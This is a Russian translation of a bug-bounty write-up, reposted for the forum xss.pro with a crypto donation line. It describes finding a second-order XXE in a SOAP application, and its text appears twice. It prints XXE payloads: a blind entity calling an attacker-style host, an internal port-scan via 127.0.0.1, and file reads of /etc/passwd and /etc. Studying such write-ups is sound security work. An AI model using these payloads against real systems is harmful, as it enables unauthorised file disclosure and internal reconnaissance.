ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов
Привет ребята!
Эта статья посвящена моему недавнему открытию Synack Red Team, которая представляла собой XXE второго порядка и позволяла мне читать файлы, хранящиеся на веб-сервере.
Обратите внимание, что эта статья не о том, как/почему/когда происходят атаки XXE. Это всего лишь один случай нетривиального интересного XXE, который я нашел и, кажется, стоит поделиться. Если вы хотите узнать больше о XXE, вы можете перейти по следующим ссылкам:
С начала и по порядку.
Утром, открыв почтовый ящик, электронный конечно, я однаружитл 2 письма с целями для аудита. Я глотнул кофею и приступил.
После отправки самого первого запроса я заметил, что приложение использует SOAP API для передачи данных. Я попытался выполнить XXE в теле SOAP, но приложение выдало ошибку « DOCTYPE не разрешен ».
Здесь мы не можем выполнить XXE как DOCTYPE явно заблокирован.
Проверив все модули один за другим, я наткнулся на модуль с именем NormalTextRepository у которого были следующие два запроса:
После отправки первого saveNormalTextrequest и перехватив его в Burp Suite, я обнаружил, что он содержит некие HTML-кодированные данные, которые выглядят так:
При расшифровке данные выглядели так:
Это быстро привлекло мое внимание. Это были данные XML, которые передавались внутри тела XML в запросе SOAP ).
Я также попробовал XXE здесь. Для этого я скопировал простую полезную нагрузку Blind XXE из PortSwigger :
Я использовал предоставленный Synack веб-сервер для проверки. Проверив его журналы, я обнаружил, что действительно на конечной точке я попал в цель /XXETEST.
Это по-прежнему был слепой XXE, и мне пришлось превратить его в полный XXE, чтобы получить выплату. Я пробовал разные полезные нагрузки для чтения файлов из PayloadsAllTheThings и HackTricks, но в моем случае они не сработали.
В моем случае ХХЕ нигде в ответе не отразилось. Вот почему его было сравнительно трудно использовать.
Покопавшись какое-то время, я отказался от идеи полного XXE и пошел дальше, чтобы проверить, возможно ли внутреннее сканирование портов, поскольку мы могли отправлять HTTP-запросы.
Я отправил запрос Burp Suite и фаззил порты от 1 до 1000. Полезная нагрузка для этого выглядела следующим образом:
Однако результат просто не имел для меня никакого смысла. Все порты, которые я фаззил, выдавали случайные временные задержки
Потерял всякую надежду и снова собирался отказаться от этого XXE. Тогда мне в голову пришла мысль. «Если эти данные сохраняются в приложении, их также нужно каким-то образом оттуда и извлечь». Я проверил другой запрос GetNamedNormalText в этом модуле и мгновенно почувствовал себя глупо. Этот запрос извлек данные, которые мы сохранили с первого saveNormalText запроса.
Я использовал следующую полезную нагрузку чтения файла XXE и сохранил данные:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
Потом отправил второй GetNamedNormalText запрос на получение сохраненных данных. И в ответ я мог видеть содержимое /etc/passwd!
Этого было достаточно для проверки концепции. Однако, глядя на JSESSIONCOOKIE, я могу сказать, что приложение было создано с использованием Java. И в приложениях Java, если вы просто предоставите каталог вместо файла, он выведет список содержимого этого каталога и вернет его.
Чтобы подтвердить эту теорию, я просто удалил часть /passwd из приведенного выше файла. Обновленная полезная нагрузка выглядела так:
Сохранив приведенную выше полезную нагрузку и получив ее с помощью второго запроса, мы могли увидеть список каталогов /etc!
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов
Привет ребята!
Эта статья посвящена моему недавнему открытию Synack Red Team, которая представляла собой XXE второго порядка и позволяла мне читать файлы, хранящиеся на веб-сервере.
Обратите внимание, что эта статья не о том, как/почему/когда происходят атаки XXE. Это всего лишь один случай нетривиального интересного XXE, который я нашел и, кажется, стоит поделиться. Если вы хотите узнать больше о XXE, вы можете перейти по следующим ссылкам:
С начала и по порядку.
Утром, открыв почтовый ящик, электронный конечно, я однаружитл 2 письма с целями для аудита. Я глотнул кофею и приступил.
После отправки самого первого запроса я заметил, что приложение использует SOAP API для передачи данных. Я попытался выполнить XXE в теле SOAP, но приложение выдало ошибку « DOCTYPE не разрешен ».
Здесь мы не можем выполнить XXE как DOCTYPE явно заблокирован.
Проверив все модули один за другим, я наткнулся на модуль с именем NormalTextRepository у которого были следующие два запроса:
- saveNormalText
- GetNamedNormalText
После отправки первого saveNormalTextrequest и перехватив его в Burp Suite, я обнаружил, что он содержит некие HTML-кодированные данные, которые выглядят так:
При расшифровке данные выглядели так:
Код:
<?xml version="1.0"?>
<normal xmlns="urn:hl7-org:v3" xmlns:XX="http://REDACTED.com/REDACTED"><content XX:status="normal" XX:state="normal">Synacktest</content></normal>Это быстро привлекло мое внимание. Это были данные XML, которые передавались внутри тела XML в запросе SOAP ).
Я также попробовал XXE здесь. Для этого я скопировал простую полезную нагрузку Blind XXE из PortSwigger :
Код:
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com/XXETEST"> %xxe; ]>Я использовал предоставленный Synack веб-сервер для проверки. Проверив его журналы, я обнаружил, что действительно на конечной точке я попал в цель /XXETEST.
Это по-прежнему был слепой XXE, и мне пришлось превратить его в полный XXE, чтобы получить выплату. Я пробовал разные полезные нагрузки для чтения файлов из PayloadsAllTheThings и HackTricks, но в моем случае они не сработали.
В моем случае ХХЕ нигде в ответе не отразилось. Вот почему его было сравнительно трудно использовать.
Покопавшись какое-то время, я отказался от идеи полного XXE и пошел дальше, чтобы проверить, возможно ли внутреннее сканирование портов, поскольку мы могли отправлять HTTP-запросы.
Я отправил запрос Burp Suite и фаззил порты от 1 до 1000. Полезная нагрузка для этого выглядела следующим образом:
Код:
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://127.0.0.1:§1§/XXETEST"> %xxe; ]>Однако результат просто не имел для меня никакого смысла. Все порты, которые я фаззил, выдавали случайные временные задержки
Потерял всякую надежду и снова собирался отказаться от этого XXE. Тогда мне в голову пришла мысль. «Если эти данные сохраняются в приложении, их также нужно каким-то образом оттуда и извлечь». Я проверил другой запрос GetNamedNormalText в этом модуле и мгновенно почувствовал себя глупо. Этот запрос извлек данные, которые мы сохранили с первого saveNormalText запроса.
Я использовал следующую полезную нагрузку чтения файла XXE и сохранил данные:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
Потом отправил второй GetNamedNormalText запрос на получение сохраненных данных. И в ответ я мог видеть содержимое /etc/passwd!
Этого было достаточно для проверки концепции. Однако, глядя на JSESSIONCOOKIE, я могу сказать, что приложение было создано с использованием Java. И в приложениях Java, если вы просто предоставите каталог вместо файла, он выведет список содержимого этого каталога и вернет его.
Чтобы подтвердить эту теорию, я просто удалил часть /passwd из приведенного выше файла. Обновленная полезная нагрузка выглядела так:
Код:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY example SYSTEM "/etc"> ]>Сохранив приведенную выше полезную нагрузку и получив ее с помощью второго запроса, мы могли увидеть список каталогов /etc!
